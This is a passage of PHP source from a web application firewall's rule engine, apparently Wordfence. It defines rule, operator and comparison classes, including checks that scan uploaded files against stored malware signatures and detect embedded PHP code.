			'ruleID'      => $this->getRuleID(),
			'type'        => $this->getType(),
			'category'    => $this->getCategory(),
			'score'       => $this->getScore(),
			'description' => $this->getDescription(),
			'whitelist'   => $this->getWhitelist(),
			'action'      => $this->getAction(),
		);
	}

	/**
	 * @return int
	 */
	public function getRuleID() {
		return $this->ruleID;
	}

	/**
	 * @param int $ruleID
	 */
	public function setRuleID($ruleID) {
		$this->ruleID = $ruleID;
	}

	/**
	 * @return string
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * @param string $type
	 */
	public function setType($type) {
		$this->type = $type;
	}

	/**
	 * @return string
	 */
	public function getCategory() {
		return $this->category;
	}

	/**
	 * @param string $category
	 */
	public function setCategory($category) {
		$this->category = $category;
	}

	/**
	 * @return int
	 */
	public function getScore() {
		return $this->score;
	}

	/**
	 * @param int $score
	 */
	public function setScore($score) {
		$this->score = $score;
	}

	/**
	 * @return string
	 */
	public function getDescription() {
		return $this->description;
	}

	/**
	 * @param string $description
	 */
	public function setDescription($description) {
		$this->description = $description;
	}

	/**
	 * @return int
	 */
	public function getWhitelist() {
		return $this->whitelist;
	}

	/**
	 * @param string $whitelist
	 */
	public function setWhitelist($whitelist) {
		$this->whitelist = $whitelist;
	}

	/**
	 * @return string
	 */
	public function getAction() {
		return $this->action;
	}

	/**
	 * @param string $action
	 */
	public function setAction($action) {
		$this->action = $action;
	}

	/**
	 * @return wfWAFRuleComparisonGroup
	 */
	public function getComparisonGroup() {
		return $this->comparisonGroup;
	}

	/**
	 * @param wfWAFRuleComparisonGroup $comparisonGroup
	 */
	public function setComparisonGroup($comparisonGroup) {
		$this->comparisonGroup = $comparisonGroup;
	}

	/**
	 * @return wfWAF
	 */
	public function getWAF() {
		return $this->waf;
	}

	/**
	 * @param wfWAF $waf
	 */
	public function setWAF($waf) {
		$this->waf = $waf;
		if ($this->comparisonGroup) {
			$this->comparisonGroup->setWAF($waf);
		}
	}
}

class wfWAFRuleLogicalOperator implements wfWAFRuleInterface {

	/**
	 * @var string
	 */
	private $operator;

	/**
	 * @var array
	 */
	protected $validOperators = array(
		'||',
		'&&',
		'and',
		'or',
		'xor',
	);
	/**
	 * @var bool
	 */
	private $currentValue = false;
	/**
	 * @var wfWAFRuleInterface
	 */
	private $comparison;

	/**
	 * @param string $operator
	 * @param bool $currentValue
	 * @param wfWAFRuleInterface $comparison
	 */
	public function __construct($operator, $currentValue = false, $comparison = null) {
		$this->setOperator($operator);
		$this->setCurrentValue($currentValue);
		$this->setComparison($comparison);
	}

	public function __sleep() {
		return array(
			'operator',
			'currentValue',
			'comparison',
		);
	}

	/**
	 * @return string
	 * @throws wfWAFRuleLogicalOperatorException
	 */
	public function render() {
		if (!$this->isValid()) {
			throw new wfWAFRuleLogicalOperatorException(sprintf('Invalid logical operator "%s", must be one of %s', $this->getOperator(), join(", ", $this->validOperators)));
		}
		return sprintf("new %s(%s)", get_class($this), var_export(trim(wfWAFUtils::strtoupper($this->getOperator())), true));
	}

	/**
	 * @return string
	 * @throws wfWAFRuleLogicalOperatorException
	 */
	public function renderRule() {
		if (!$this->isValid()) {
			throw new wfWAFRuleLogicalOperatorException(sprintf('Invalid logical operator "%s", must be one of %s', $this->getOperator(), join(", ", $this->validOperators)));
		}
		return trim(wfWAFUtils::strtolower($this->getOperator()));
	}

	public function evaluate() {
		$currentValue = $this->getCurrentValue();
		$comparison = $this->getComparison();
		if (is_bool($currentValue) && $comparison instanceof wfWAFRuleInterface) {
			switch (wfWAFUtils::strtolower($this->getOperator())) {
				case '&&':
				case 'and':
					return $currentValue && $comparison->evaluate();

				case '||':
				case 'or':
					return $currentValue || $comparison->evaluate();

				case 'xor':
					return $currentValue xor $comparison->evaluate();
			}
		}
		return false;
	}

	/**
	 * @return bool
	 */
	public function isValid() {
		return in_array(wfWAFUtils::strtolower($this->getOperator()), $this->validOperators);
	}

	/**
	 * @return string
	 */
	public function getOperator() {
		return $this->operator;
	}

	/**
	 * @param string $operator
	 */
	public function setOperator($operator) {
		$this->operator = $operator;
	}

	/**
	 * @return boolean
	 */
	public function getCurrentValue() {
		return $this->currentValue;
	}

	/**
	 * @param boolean $currentValue
	 */
	public function setCurrentValue($currentValue) {
		$this->currentValue = $currentValue;
	}

	/**
	 * @return wfWAFRuleInterface
	 */
	public function getComparison() {
		return $this->comparison;
	}

	/**
	 * @param wfWAFRuleInterface $comparison
	 */
	public function setComparison($comparison) {
		$this->comparison = $comparison;
	}
}

class wfWAFPhpBlock {
	public $open = false;
	public $echoTag;
	public $shortTag;
	public $openParentheses = 0, $closedParentheses = 0;
	public $backtickCount = 0;
	public $badCharacter = false;
	public $mismatchedParentheses = false;

	public function __construct($echoTag = false, $shortTag = false) {
		$this->echoTag = $echoTag;
		$this->shortTag = $shortTag;
	}

	public function hasParentheses() {
		return $this->openParentheses > 0 && $this->closedParentheses === $this->openParentheses;
	}

	public function hasBacktickPair() {
		return $this->backtickCount > 0 && $this->backtickCount % 2 === 0;
	}

	public function hasParenthesesOrBacktickPair() {
		return $this->hasParentheses() || $this->hasBacktickPair();
	}

	public function hasMismatchedParentheses() {
		return $this->mismatchedParentheses || $this->closedParentheses !== $this->openParentheses;
	}

	public function hasSyntaxError() {
		if (version_compare(phpversion(), '8.0.0', '>=')) {
			return $this->badCharacter;
		}
		return $this->hasMismatchedParentheses();
	}

	public static function isValid($phpBlock) {
		return $phpBlock !== null && !$phpBlock->hasSyntaxError();
	}

	public static function extend($phpBlock, $echoTag = false, $shortTag = false) {
		if ($phpBlock === null)
			$phpBlock = new self();
		$phpBlock->open = true;
		$phpBlock->echoTag = $echoTag;
		$phpBlock->shortTag = $shortTag;
		return $phpBlock;
	}
}

class wfWAFRuleComparison implements wfWAFRuleInterface {

	private $matches;
	private $failedSubjects;
	private $result;
	/**
	 * @var wfWAFRule
	 */
	private $rule;

	private static $scalarActions = array(
		'contains',
		'notcontains',
		'match',
		'notmatch',
		'matchcount',
		'containscount',
		'equals',
		'notequals',
		'identical',
		'notidentical',
		'greaterthan',
		'greaterthanequalto',
		'lessthan',
		'lessthanequalto',
		'lengthgreaterthan',
		'lengthlessthan',
		'currentuseris',
		'currentuserisnot',
		'md5equals',
		'filepatternsmatch',
		'filehasphp',
		'islocalurl',
		'isremoteurl',
		'isvalidurl',
		'isnotvalidurl',
		'urlhostequals',
		'urlhostnotequals',
		'urlhostmatches',
		'urlhostnotmatches',
		'urlschemeequals',
		'urlschemenotequals',
		'urlschemematches',
		'urlschemenotmatches',
		'versionequals',
		'versionnotequals',
		'versiongreaterthan',
		'versiongreaterthanequalto',
		'versionlessthan',
		'versionlessthanequalto',
		'exists'
	);

	private static $arrayActions = array(
		'keyexists',
		'keymatches'
	);

	private static $globalActions = array(
		'hasuser',
		'nothasuser',
		'currentusercan',
		'currentusercannot'
	);

	const ACTION_TYPE_SCALAR=0;
	const ACTION_TYPE_ARRAY=1;
	const ACTION_TYPE_GLOBAL=2;

	/**
	 * @var mixed
	 */
	private $expected;
	/**
	 * @var mixed
	 */
	private $subjects;
	/**
	 * @var string
	 */
	private $action;
	private $multiplier;
	/**
	 * @var wfWAF
	 */
	private $waf;

	/**
	 * @param wfWAF $waf
	 * @param string $action
	 * @param mixed $expected
	 * @param mixed $subjects
	 */
	public function __construct($waf, $action, $expected, $subjects = null) {
		$this->setWAF($waf);
		$this->setAction($action);
		$this->setExpected($expected);
		$this->setSubjects($subjects);
	}

	public function __sleep() {
		return array(
			'rule',
			'action',
			'expected',
			'subjects',
		);
	}
	
	public function __wakeup() {
		if (empty($this->getWAF())) {
			$this->setWAF(wfWAF::getInstance());
		}
	}

	/**
	 * @param string|array $subject
	 * @return string
	 */
	public static function getSubjectKey($subject) {
		if (!is_array($subject)) {
			return (string) $subject;
		}
		$return = '';
		$global = array_shift($subject);
		if ($global instanceof wfWAFRuleComparisonSubject) {
			$global = 'filtered';
		}
		foreach ($subject as $key) {
			$return .= '[' . $key . ']';
		}
		return $global . $return;
	}

	/**
	 * @return string
	 * @throws wfWAFRuleException
	 */
	public function render() {
		if (!$this->isActionValid()) {
			throw new wfWAFRuleException('Invalid action passed to ' . get_class($this) . ', action: ' . var_export($this->getAction(), true));
		}
		$subjectExport = '';
		/** @var wfWAFRuleComparisonSubject $subject */
		foreach ($this->getSubjects() as $subject) {
			$subjectExport .= $subject->render() . ",\n";
		}
		$subjectExport = 'array(' . wfWAFUtils::substr($subjectExport, 0, -2) . ')';

		$expected = $this->getExpected();
		return sprintf('new %s($this, %s, %s, %s)', get_class($this), var_export((string) $this->getAction(), true),
			($expected instanceof wfWAFRuleVariable ? $expected->render() : var_export($expected, true)), $subjectExport);
	}

	/**
	 * @return string
	 * @throws wfWAFRuleException
	 */
	public function renderRule() {
		if (!$this->isActionValid()) {
			throw new wfWAFRuleException('Invalid action passed to ' . get_class($this) . ', action: ' . var_export($this->getAction(), true));
		}
		$subjectExport = '';
		/** @var wfWAFRuleComparisonSubject $subject */
		foreach ($this->getSubjects() as $subject) {
			$subjectExport .= $subject->renderRule() . ", ";
		}
		$subjectExport = wfWAFUtils::substr($subjectExport, 0, -2);

		$expected = $this->getExpected();
		return sprintf('%s(%s, %s)', $this->getAction(),
			($expected instanceof wfWAFRuleVariable ? $expected->renderRule() : wfWAFRule::exportString($expected)),
			$subjectExport);
	}

	public function getActionType() {
		$action=wfWAFUtils::strtolower($this->getAction());
		if (in_array($action, self::$scalarActions)) {
			return self::ACTION_TYPE_SCALAR;
		}
		else if(in_array($action, self::$arrayActions)) {
			return self::ACTION_TYPE_ARRAY;
		}
		else if(in_array($action, self::$globalActions)) {
			return self::ACTION_TYPE_GLOBAL;
		}
		else {
			return null;
		}
	}

	public function isActionValid() {
		return $this->getActionType() !== null;
	}

	public function hasSubject() {
		return $this->getActionType() !== self::ACTION_TYPE_GLOBAL;
	}

	private function isWhitelisted($subjectKey = '') {
		return $this->getWAF() && $this->getRule() &&
			$this->getWAF()->isRuleParamWhitelisted($this->getRule()->getRuleID(), $this->getWAF()->getRequest()->getPath(), $subjectKey);
	}

	public function evaluate() {
		$type = $this->getActionType();
		if ($type===null) {
			return false;
		}
		else if ($type===self::ACTION_TYPE_GLOBAL) {
			return (!$this->isWhitelisted()) && ($this->result=call_user_func(array($this, $this->getAction())));
		}
		$subjects = $this->getSubjects();
		if (!is_array($subjects)) {
			return false;
		}

		$this->result = false;
		/** @var wfWAFRuleComparisonSubject $subject */
		foreach ($subjects as $subject) {
			$global = $subject->getValue();
			$subjectKey = $subject->getKey();

			if ($this->_evaluate(array($this, $this->getAction()), $global, $subjectKey, $type===self::ACTION_TYPE_SCALAR)) {
				$this->result = true;
			}
		}
		return $this->result;
	}

	/**
	 * @param callback $callback
	 * @param mixed $global
	 * @param string $subjectKey
	 * @param bool $iterate
	 * @return bool
	 */
	private function _evaluate($callback, $global, $subjectKey, $iterate) {
		$result = false;

		if ($this->isWhitelisted($subjectKey)) {
			return $result;
		}

		if (is_array($global) && $iterate) {
			foreach ($global as $key => $value) {
				if ($this->_evaluate($callback, $value, $subjectKey . '[' . $key . ']', $iterate)) {
					$result = true;
				}
			}
		} else if (call_user_func($callback, $global)) {
			$result = true;
			$this->failedSubjects[] = array(
				'subject'    => $subjectKey,
				'value'      => is_string($global) ? $global : wfWAFUtils::json_encode($global),
				'multiplier' => $this->getMultiplier(),
				'matches'    => $this->getMatches(),
			);
		}
		return $result;
	}

	public function contains($subject) {
		if (is_array($this->getExpected())) {
			return in_array($this->getExpected(), $subject);
		}
		return wfWAFUtils::strpos((string) $subject, (string) $this->getExpected()) !== false;
	}

	public function notContains($subject) {
		return !$this->contains($subject);
	}

	public function match($subject) {
		return preg_match((string) $this->getExpected(), (string) $subject, $this->matches) > 0;
	}

	public function notMatch($subject) {
		return !$this->match($subject);
	}

	public function matchCount($subject) {
		$this->multiplier = preg_match_all((string) $this->getExpected(), (string) $subject, $this->matches);
		return $this->multiplier > 0;
	}

	public function containsCount($subject) {
		if (is_array($this->getExpected())) {
			$this->multiplier = 0;
			foreach ($this->getExpected() as $val) {
				if ($val == $subject) {
					$this->multiplier++;
				}
			}
			return $this->multiplier > 0;
		}
		$this->multiplier = wfWAFUtils::substr_count($subject, $this->getExpected());
		return $this->multiplier > 0;
	}

	public function equals($subject) {
		return $this->getExpected() == $subject;
	}

	public function notEquals($subject) {
		return $this->getExpected() != $subject;
	}

	public function identical($subject) {
		return $this->getExpected() === $subject;
	}

	public function notIdentical($subject) {
		return $this->getExpected() !== $subject;
	}

	public function greaterThan($subject) {
		return $subject > $this->getExpected();
	}

	public function greaterThanEqualTo($subject) {
		return $subject >= $this->getExpected();
	}

	public function lessThan($subject) {
		return $subject < $this->getExpected();
	}

	public function lessThanEqualTo($subject) {
		return $subject <= $this->getExpected();
	}

	public function lengthGreaterThan($subject) {
		return wfWAFUtils::strlen(is_array($subject) ? join('', $subject) : (string) $subject) > $this->getExpected();
	}

	public function lengthLessThan($subject) {
		return wfWAFUtils::strlen(is_array($subject) ? join('', $subject) : (string) $subject) < $this->getExpected();
	}

	public function currentUserIs($subject) {
		if ($authCookie = $this->getWAF()->parseAuthCookie()) {
			return $authCookie['role'] === $this->getExpected();
		}
		return false;
	}

	public function currentUserIsNot($subject) {
		return !$this->currentUserIs($subject);
	}

	public function hasUser() {
		return $this->getWAF()->parseAuthCookie()!==false;
	}

	public function notHasUser() {
		return !$this->hasUser();
	}

	public function currentUserCan() {
		return $this->getWAF()->checkCapability($this->getExpected());
	}

	public function currentUserCannot() {
		return !$this->currentUserCan();
	}

	public function md5Equals($subject) {
		return md5((string) $subject) === $this->getExpected();
	}
	
	public function filePatternsMatch($subject) {
		$request = $this->getWAF()->getRequest();
		$files = $request->getFiles();
		$patterns = $this->getWAF()->getMalwareSignatures();
		$commonStrings = $this->getWAF()->getMalwareSignatureCommonStrings();
		if (!is_array($patterns) || !is_array($files)) {
			return false;
		}
		
		$backtrackLimit = ini_get('pcre.backtrack_limit');
		if (is_numeric($backtrackLimit)) {
			$backtrackLimit = (int) $backtrackLimit;
			if ($backtrackLimit > 10000000) {
				ini_set('pcre.backtrack_limit', 1000000);
			}
		}
		else {
			$backtrackLimit = false;
		}
		
		foreach ($files as $file) {
			if ($file['name'] == (string) $subject) {
				if (!is_file($file['tmp_name'])) {
					continue;
				}
				$fh = @fopen($file['tmp_name'], 'r');
				if (!$fh) {
					continue;
				}
				$totalRead = 0;
				
				$first = true;
				$readsize = max(min(10 * 1024 * 1024, wfWAFUtils::iniSizeToBytes(ini_get('upload_max_filesize'))), 1 * 1024 * 1024);
				while (!feof($fh)) {
					$data = fread($fh, $readsize);
					$totalRead += strlen($data);
					if ($totalRead < 1) {
						return false;
					}
					
					$commonStringsChecked = array();
					foreach ($patterns as $index => $rule) {
						if (@preg_match('/' . $rule . '/iS', '') === false) {
							continue; //This PCRE version can't compile the rule
						}
						
						if (!$first && substr($rule, 0, 1) == '^') {
							continue; //Signature only applies to file beginning
						}
						
						if (isset($commonStrings[$index])) {
							foreach ($commonStrings[$index] as $s) {
								if (!isset($commonStringsChecked[$s])) {
									$commonStringsChecked[$s] = (preg_match('/' . $s . '/iS', $data) == 1);
								}
								
								if (!$commonStringsChecked[$s]) {
									continue 2;
								}
							}
						}
						
						if (preg_match('/(' . $rule . ')/iS', $data, $matches)) {
							if ($backtrackLimit !== false) { ini_set('pcre.backtrack_limit', $backtrackLimit); }
							return true;
						}
					}
					
					$first = false;
				}	
			}
		}
		
		if ($backtrackLimit !== false) { ini_set('pcre.backtrack_limit', $backtrackLimit); }
		return false;
	}

	private function checkForPhp($path) {
		if (!is_file($path))
			return false;
		$fh = @fopen($path, 'r');
		if ($fh === false)
			return false;
		//T_BAD_CHARACTER is only available since PHP 7.4.0 and before 7.0.0
		$T_BAD_CHARACTER = defined('T_BAD_CHARACTER') ? constant('T_BAD_CHARACTER') : 10001;
		$phpBlock = null;
		$wrappedTokenCheckBytes = '';
		$maxTokenSize = 15; //__halt_compiler
		$possibleWrappedTokens = array('<?php', '<?=', '<?', '?>', 'exit', 'new', 'clone', 'echo', 'print', 'require', 'include', 'require_once', 'include_once', '__halt_compiler');

		$readsize = 1024 * 1024; //1MB chunks
		$iteration = 0;
		$shortOpenTagEnabled = (bool) ini_get('short_open_tag');
		do {
			$data = fread($fh, $readsize);
			$actualReadsize = strlen($data);
			if ($actualReadsize === 0)
				break;

			//Make sure we didn't miss PHP split over a chunking boundary
			$wrappedCheckLength = strlen($wrappedTokenCheckBytes);
			if ($wrappedCheckLength > 0) {
				$testBytes = $wrappedTokenCheckBytes . substr($data, 0, min($maxTokenSize, $actualReadsize));
				foreach ($possibleWrappedTokens as $t) {
					$position = strpos($testBytes, $t);
					if ($position !== false && $position < $wrappedCheckLength && $position + strlen($t) >= $wrappedCheckLength) { //Found a token that starts before this segment of data and ends within it
						$data = substr($wrappedTokenCheckBytes, $position) . $data;
						break;
					}
				}
			}

			$prepended = NULL;

			//Make sure it tokenizes correctly if chunked
			if ($phpBlock !== null) {
				if ($phpBlock->echoTag) {
					$data = '<?= ' . $data;
					$prepended = T_OPEN_TAG_WITH_ECHO;
				}
				else {
					$data = '<?php ' . $data;
					$prepended = T_OPEN_TAG;
				}
			}

			//Tokenize the data and check for PHP
			$this->_resetErrors();
			$tokens = @token_get_all($data);
			$error = error_get_last();

			if ($error !== null && feof($fh) && stripos($error['message'], 'Unterminated comment') !== false)
				break;

			$firstToken = reset($tokens);
			if (is_array($firstToken) && $firstToken[0] === $prepended)
				array_shift($tokens); //Ignore the prepended token; it is only relevant for token_get_all

			$offset = 0;
			foreach ($tokens as $token) {
				if (is_array($token)) {
					$offset += strlen($token[1]);
					switch ($token[0]) {
						case T_OPEN_TAG:
							$phpBlock = wfWAFPhpBlock::extend($phpBlock, false, $token[1] === '<?');
							break;
						case T_OPEN_TAG_WITH_ECHO:
							$phpBlock = wfWAFPhpBlock::extend($phpBlock, true);
							break;
						case T_CLOSE_TAG:
							if (wfWAFPhpBlock::isValid($phpBlock) && ($phpBlock->echoTag || $phpBlock->hasParenthesesOrBacktickPair())) {
								fclose($fh);
								return true;
							}
							$phpBlock->open = false;
							break;
						case T_NEW:
						case T_CLONE:
						case T_ECHO:
						case T_PRINT:
						case T_REQUIRE:
						case T_INCLUDE:
						case T_REQUIRE_ONCE:
						case T_INCLUDE_ONCE:
						case T_HALT_COMPILER:
						case T_EXIT:
							if (wfWAFPhpBlock::isValid($phpBlock)) {
								fclose($fh);
								return true;
							}
							break;
						case $T_BAD_CHARACTER:
							if ($phpBlock !== null)
								$phpBlock->badCharacter = true;
							break;
						case T_STRING:
							if (!$phpBlock->shortTag && preg_match('/^[A-z0-9_]{3,}$/', $token[1]) && function_exists($token[1])) {
								fclose($fh);
								return true;
							}
							break;
					}
				}
				else {
					$offset += strlen($token);
					if ($phpBlock !== null) {
						switch ($token) {
							case '(':
								$phpBlock->openParentheses++;
								break;
							case ')':
								if ($phpBlock->openParentheses > $phpBlock->closedParentheses)
									$phpBlock->closedParentheses++;
								else
									$phpBlock->mismatchedParentheses = true;
								break;
							case '`':
								$phpBlock->backtickCount++;
								break;
						}
					}
				}
			}

			if (wfWAFPhpBlock::isValid($phpBlock) && $phpBlock->hasParenthesesOrBacktickPair()) {
				fclose($fh);
				return true;
			}

			$wrappedTokenCheckBytes = substr($data, - min($maxTokenSize, $actualReadsize));
		} while (!feof($fh));

		fclose($fh);
		return false;
	}

	public function fileHasPHP($subject) {
		$request = $this->getWAF()->getRequest();
		$files = $request->getFiles();
		if (!is_array($files)) {
			return false;
		}

		foreach ($files as $file) {
			if ($file['name'] === (string) $subject && $this->checkForPhp($file['tmp_name']))
					return true;
		}

		return false;
	}

	private function _resetErrors() {
		if (function_exists('error_clear_last')) {
			error_clear_last();
		}
		else {
			// set error_get_last() to defined state by forcing an undefined variable error
			set_error_handler(array($this, '_resetErrorsHandler'), 0);
			@$undefinedVariable;
			restore_error_handler();
		}
	}
	
	public function _resetErrorsHandler($errno, $errstr, $errfile, $errline) {
		//Do nothing
	}
	
	public function isLocalURL($subject) {
		if (empty($subject)) {
			return false;
		}
		
		$parsed = wfWAFUtils::parse_url((string) $subject);
		if (!isset($parsed['host'])) {
			return true;
		}
		
		$guessSiteURL = sprintf('%s://%s/', wfWAF::getInstance()->getRequest()->getProtocol(), wfWAF::getInstance()->getRequest()->getHost());
		$siteURL = wfWAF::getInstance()->getStorageEngine()->getConfig('siteURL', null, 'synced') ? wfWAF::getInstance()->getStorageEngine()->getConfig('siteURL', null, 'synced') : $guessSiteURL;
		$homeURL = wfWAF::getInstance()->getStorageEngine()->getConfig('homeURL', null, 'synced') ? wfWAF::getInstance()->getStorageEngine()->getConfig('homeURL', null, 'synced') : $guessSiteURL;
		
		$siteHost = wfWAFUtils::parse_url($siteURL, PHP_URL_HOST);
		$homeHost = wfWAFUtils::parse_url($homeURL, PHP_URL_HOST);
		
		return (is_string($siteHost) && strtolower($parsed['host']) == strtolower($siteHost)) || (is_string($homeHost) && strtolower($parsed['host']) == strtolower($homeHost));
	}
	
	public function isRemoteURL($subject) {
		if (empty($subject)) {
			return false;
		}
		
		return !$this->isLocalURL($subject);
	}
	
	public function isValidURL($subject) {
		if ($subject === null) {
			return false;
		}
		return wfWAFUtils::validate_url((string) $subject) !== false;
	}
	
	public function isNotValidURL($subject) {
		if ($subject === null) {
			return false;
		}
		return !$this->isValidURL($subject);
	}
	
	public function urlHostEquals($subject) {
		if ($subject === null) {
			return false;
		}
		$host = wfWAFUtils::parse_url((string) $subject, PHP_URL_HOST);
		if (!is_string($host)) {
			return wfWAFUtils::strlen($this->getExpected()) == 0;
		}
		
		return strtolower($host) == strtolower($this->getExpected());
	}
	
	public function urlHostNotEquals($subject) {
		if ($subject === null) {
			return false;
		}
		return !$this->urlHostEquals($subject);
	}
	
	public function urlHostMatches($subject) {
		if ($subject === null) {
			return false;
		}
		$host = wfWAFUtils::parse_url((string) $subject, PHP_URL_HOST);
		if (!is_string($host)) {
			return false;
		}
		
		return preg_match((string) $this->getExpected(), $host, $this->matches) > 0;
	}
	
	public function urlHostNotMatches($subject) {
		if ($subject === null) {
			return false;
		}
		return !$this->urlHostMatches($subject);
	}
	
	public function urlSchemeEquals($subject) {
		if ($subject === null) {
			return false;
		}
		$scheme = wfWAFUtils::parse_url((string) $subject, PHP_URL_SCHEME);
		if (!is_string($scheme)) {
			return wfWAFUtils::strlen($this->getExpected()) == 0;
		}
		
		return strtolower($scheme) == strtolower($this->getExpected());
	}
	
	public function urlSchemeNotEquals($subject) {
		if ($subject === null) {
			return false;
		}
		return !$this->urlSchemeEquals($subject);
	}
	
	public function urlSchemeMatches($subject) {
		if ($subject === null) {
			return false;
		}
		$scheme = wfWAFUtils::parse_url((string) $subject, PHP_URL_SCHEME);
		if (!is_string($scheme)) {
			return false;
		}
		
		return preg_match((string) $this->getExpected(), $scheme, $this->matches) > 0;
	}
	
	public function urlSchemeNotMatches($subject) {
		if ($subject === null) {
			return false;
		}
		return !$this->urlSchemeMatches($subject);
	}

	public function versionEquals($subject) {
		if ($subject === null) {
			return false;
		}
		return version_compare($subject, $this->getExpected(), '==');
	}

	public function versionNotEquals($subject) {
		if ($subject === null) {
			return false;
		}
		return version_compare($subject, $this->getExpected(), '!=');
	}

	public function versionGreaterThan($subject) {
		if ($subject === null) {
			return false;
		}
		return version_compare($subject, $this->getExpected(), '>');
	}

	public function versionGreaterThanEqualTo($subject) {
		if ($subject === null) {
			return false;
		}
		return version_compare($subject, $this->getExpected(), '>=');
	}

	public function versionLessThan($subject) {
		if ($subject === null) {
			return false;
		}
		return version_compare($subject, $this->getExpected(), '<');
	}

	public function versionLessThanEqualTo($subject) {
		if ($subject === null) {
			return false;
		}
		return version_compare($subject, $this->getExpected(), '<=');
	}

	public function keyExists($subject) {
		if (!is_array($subject)) {
			return false;
		}
		return array_key_exists($this->getExpected(), $subject);
	}

	public function keyMatches($subject) {
		if (!is_array($subject)) {
			return false;
		}
		foreach($subject as $key=>$value) {
			if (preg_match($this->getExpected(), $key))
				return true;
		}
		return false;
	}

	public function exists($subject) {
		return isset($subject);
	}

	/**
	 * @return mixed
	 */
	public function getAction() {
		return $this->action;
	}

	/**
	 * @param mixed $action
	 */
	public function setAction($action) {
		$this->action = $action;
	}

	/**
	 * @return mixed
	 */
	public function getExpected() {
		return $this->expected;
	}

	/**
	 * @param mixed $expected
	 */
	public function setExpected($expected) {
		$this->expected = $expected;
	}

	/**
	 * @return mixed
	 */
	public function getSubjects() {
		return $this->subjects;
	}

	/**
	 * @param mixed $subjects
	 * @return $this
	 */
	public function setSubjects($subjects) {
		$this->subjects = $subjects;
		return $this;
	}

	/**
	 * @return mixed
	 */
	public function getMatches() {
		return $this->matches;
	}

	/**
	 * @return mixed
	 */
	public function getFailedSubjects() {
		return (array)$this->failedSubjects;
	}

	/**
	 * @return mixed
	 */
	public function getResult() {
		return $this->result;
	}

	/**
	 * @return mixed
	 */
	public function getMultiplier() {
		return $this->multiplier;
	}

	/**
	 * @return wfWAF
	 */
	public function getWAF() {
		return $this->waf;
	}

	/**
	 * @param wfWAF $waf
	 */
	public function setWAF($waf) {
		$this->waf = $waf;
		if (is_array($this->subjects)) {
			foreach ($this->subjects as $subject) {
				if (is_object($subject) && method_exists($subject, 'setWAF')) {
					$subject->setWAF($waf);
				}
			}
		}
		if (is_object($this->expected) && method_exists($this->expected, 'setWAF')) {
			$this->expected->setWAF($waf);
		}
	}

	/**
	 * @return wfWAFRule
	 */
	public function getRule() {
		return $this->rule;
	}

	/**
	 * @param wfWAFRule $rule
	 */
	public function setRule($rule) {
		$this->rule = $rule;
	}
}

class wfWAFRuleComparisonGroup implements wfWAFRuleInterface {

	private $items = array();
	private $failedComparisons = array();
	private $result = false;
	private $waf;

	/**
	 * @var wfWAFRule
	 */
	private $rule;

	public function __construct() {
		$args = func_get_args();
		foreach ($args as $arg) {
			$this->add($arg);
		}
	}

	public function __sleep() {
		return array(
			'items',
		);
	}

	public function add($item) {
		$this->items[] = $item;
	}

	public function remove($item) {
		$key = array_search($item, $this->items);
		if ($key !== false) {
			unset($this->items[$key]);
		}
	}

	/**
	 *
	 * @throws wfWAFRuleException
	 */
	public function evaluate() {
		if (count($this->items) % 2 != 1) {
			throw new wfWAFRuleException('Invalid number of rules and logical operators.  Should be odd number of rules and logical operators.');
		}

		$this->result = false;
		$operator = null;
		/** @var wfWAFRuleComparison|wfWAFRuleLogicalOperator|wfWAFRuleComparisonGroup $comparison */
		for ($i = 0; $i < count($this->items); $i++) {
			$comparison = $this->items[$i];
			if ($i % 2 == 1 && !($comparison instanceof wfWAFRuleLogicalOperator)) {
				throw new wfWAFRuleException('Invalid WAF rule format, expected wfWAFRuleLogicalOperator, got ' . get_class($comparison));
			}
			if ($i % 2 == 0 && !($comparison instanceof wfWAFRuleComparison || $comparison instanceof wfWAFRuleComparisonGroup)) {
				throw new wfWAFRuleException('Invalid WAF rule format, expected wfWAFRuleComparison or wfWAFRuleComparisonGroup, got ' . get_class($comparison));
			}

			if ($comparison instanceof wfWAFRuleLogicalOperator) {
				$operator = $comparison;
				continue;
			}
			if ($comparison instanceof wfWAFRuleComparison || $comparison instanceof wfWAFRuleComparisonGroup) {
				$comparison->setRule($this->getRule());
				if ($operator instanceof wfWAFRuleLogicalOperator) {
					$operator->setCurrentValue($this->result);
					$operator->setComparison($comparison);
					$this->result = $operator->evaluate();
				} else {
					$this->result = $comparison->evaluate();
				}
			}
			if ($comparison instanceof wfWAFRuleComparison && $comparison->getResult()) {
				if ($comparison->hasSubject()) {
					foreach ($comparison->getFailedSubjects() as $failedSubject) {
						$this->failedComparisons[] = new wfWAFRuleComparisonFailure(
							$failedSubject['subject'], $failedSubject['value'], $comparison->getExpected(),
							$comparison->getAction(), $failedSubject['multiplier'], $failedSubject['matches']
						);
					}
				}
				else {
					$this->failedComparisons[] = new wfWAFRuleComparisonFailure(
						'', '', $comparison->getExpected(),
						$comparison->getAction(), 1, array()
					);
				}
			}
			if ($comparison instanceof wfWAFRuleComparisonGroup && $comparison->getResult()) {
				foreach ($comparison->getFailedComparisons() as $comparisonFail) {
					$this->failedComparisons[] = $comparisonFail;
				}
			}
		}
		return $this->result;
	}

	/**
	 * @return string
	 * @throws wfWAFRuleException
	 */
	public function render() {
		if (count($this->items) % 2 != 1) {
			throw new wfWAFRuleException('Invalid number of rules and logical operators.  Should be odd number of rules and logical operators.');
		}

		$return = array();
		/**
		 * @var wfWAFRuleInterface $item
		 */
		for ($i = 0; $i < count($this->items); $i++) {
			$item = $this->items[$i];
			if ($i % 2 == 1 && !($item instanceof wfWAFRuleLogicalOperator)) {
				throw new wfWAFRuleException('Invalid WAF rule format, expected wfWAFRuleLogicalOperator, got ' . get_class($item));
			}
			if ($i % 2 == 0 && !($item instanceof wfWAFRuleComparison || $item instanceof wfWAFRuleComparisonGroup)) {
				throw new wfWAFRuleException('Invalid WAF rule format, expected wfWAFRule or wfWAFRuleComparisonGroup, got ' . get_class($item));
			}
			$return[] = $item->render();
		}
		return sprintf('new %s(%s)', get_class($this), join(', ', $return));
	}

	/**
	 * @return string
	 * @throws wfWAFRuleException
	 */
	public function renderRule() {
		if (count($this->items) % 2 != 1) {
			throw new wfWAFRuleException('Invalid number of rules and logical operators.  Should be odd number of rules and logical operators.');
		}

		$return = array();
		/**
		 * @var wfWAFRuleInterface $item
		 */
		for ($i = 0; $i < count($this->items); $i++) {
			$item = $this->items[$i];
			if ($i % 2 == 1 && !($item instanceof wfWAFRuleLogicalOperator)) {
				throw new wfWAFRuleException('Invalid WAF rule format, expected wfWAFRuleLogicalOperator, got ' . get_class($item));
			}
